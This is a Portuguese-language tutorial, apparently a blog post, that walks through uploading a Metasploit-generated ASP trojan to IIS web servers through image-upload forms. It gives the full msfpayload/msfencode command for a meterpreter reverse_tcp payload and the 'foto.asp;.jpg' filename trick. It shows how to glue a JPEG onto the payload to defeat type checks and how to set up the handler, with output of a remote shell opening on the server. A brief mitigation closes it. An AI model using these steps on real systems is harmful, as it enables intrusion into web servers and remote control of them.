Enviando um trojan para o IIS - Upload de arquivos

Há pouco mais de um mês o metasploit, a partir do msfencode, permite geração de scripts ASP contendo um payload metasploit, ou seja, você pode facilmente criar uma página ASP que quando executado pelo navegador irá rodar uma backdoor ou coisa do gênero.

Isso expõe muitas páginas WEB que permitem o upload de fotos, imagens e outros "arquivos seguros". Normalmente as aplicações web que fazem upload verificam o tipo e a extensão do arquivo que será enviado, porém, a análise do IIS é bem trivial.
Um arquivo com o nome foto.asp;.jpg por exemplo, irá passar por uma aplicação como sendo um .JPG, porém, quando o IIS executar sua análise irá parar no .asp e imediamente executar o arquivo.

Qualquer aplicação de upload, com um mínimo de segurança, irá verificar, além da extensão, também o tipo do arquivo, mas, isso pode fácilmente ser burlado com um 'cat'.

Vamos ao exemplo.

Primeiro gere o .ASP contendo o payload desejado.

Windows/Linux:$ msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 R | msfencode -o foto.asp

onde:
 msfpayload/meterpreter/reverse_tcp - Localização do payload desejado. No exemplo foi utilizado o reverse_tcp que abre uma conexão remota reversa no host e porta especificado.
LHOST - Seu endereço ip para a conexão reversa.
LPORT - A porta onde você ficará esperando a conexão reversa.
R | msfencode -o payload.asp - passa o fluxo de dados para o msfencode e gera um arquivo "foto.asp" com o código do payload.

Pronto, seu payload está gerado. Em uma aplicação web que apenas verifique a extensão do arquivo bastaria mudar o nome de "foto.asp" para "foto.asp;.jpg" que seria suficiente para fazer o upload.

Para aplicações que verificam o tipo do arquivo antes de enviar basta usar o cat:

Linux:$ cat foto.jpg payload.asp > "foto.asp;.jpg"

Creio que copy /v /b foto.jpg+payload.asp foto.asp;.jpg funcione no Windows/Dos mas não cheguei a testar. Se alguem conseguir por favor me avise.

Isso irá juntar um arquivo jpg ao seu payload. É possível verificar o tipo do arquivo com:

Linux:$ file foto.asp;.jpg
fts.jpg: JPEG image data, JFIF standard 1.01

Inicie o console do metasploit e coloque sua máquina para "esperar" a conexão reversa.

$ msfconsole
msf> use exploit/multi/handler
msf (handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler)> set LHOST 127.0.0.1
msf (handler)> set LPORT 3333
msf (handler)> set ExitOnSession false
msf (handler)> exploit -j

[*] Exploit running as background job.
msf exploit(handler) >
[*] Starting the payload handler...
[*] Started reverse handler on port 3333

Agora carregue o arquivo foto.asp;.jpg para o servidor. Verifique que como extensão e type do arquivo indicam que é um jpg a aplicação aceita normalmente o payload e o guarda em um diretório que pode ser acessado pelo navegador. (normalmente /imagens/foto.asp;.jpg). Em alguns testes que fiz a aplicação mudou o nome do arquivo direto para foto.asp. Em outros casos o arquivo foi renomeado para foto.as (nesse caso é só alterar o nome original do payload para 'foto.aspp;.jpg' e fazer o upload novamente).  Se por acaso já tiver uma imagem no servidor com o mesmo nome provavelmente o arquivo será renomeado para 'foto2' ou foto3.
Pronto, agora é só executar o arquivo .asp pelo navegador que você verá algo do tipo no console do metasploit:

[*] Sending stage (723456 bytes)
msf exploit(handler) > [*] Meterpreter session 1 opened (189.26.20.122:3333 -> 201.53.3.20:4768)

Isso significa que a conexão foi estabelecida com sucesso.

depois é só abrir a sessão e chamar o shell.

msf exploit(handler)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> shell

Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:windowssystem32inetsrv>

###############################

Solução: A maneira mais óbvia de evitar esse tipo de ataque é retirando a permissão de execução nos diretórios de upload. Vale lembrar que com a execução habilitada  vários outros bugs podem ser explorados e não apenas esse do IIS.

Sem mais...

Referências:
http://www.metasploit.org/
http://blog.metasploit.com/
http://blog.rapid7.com/

Giorge Henrique Abdala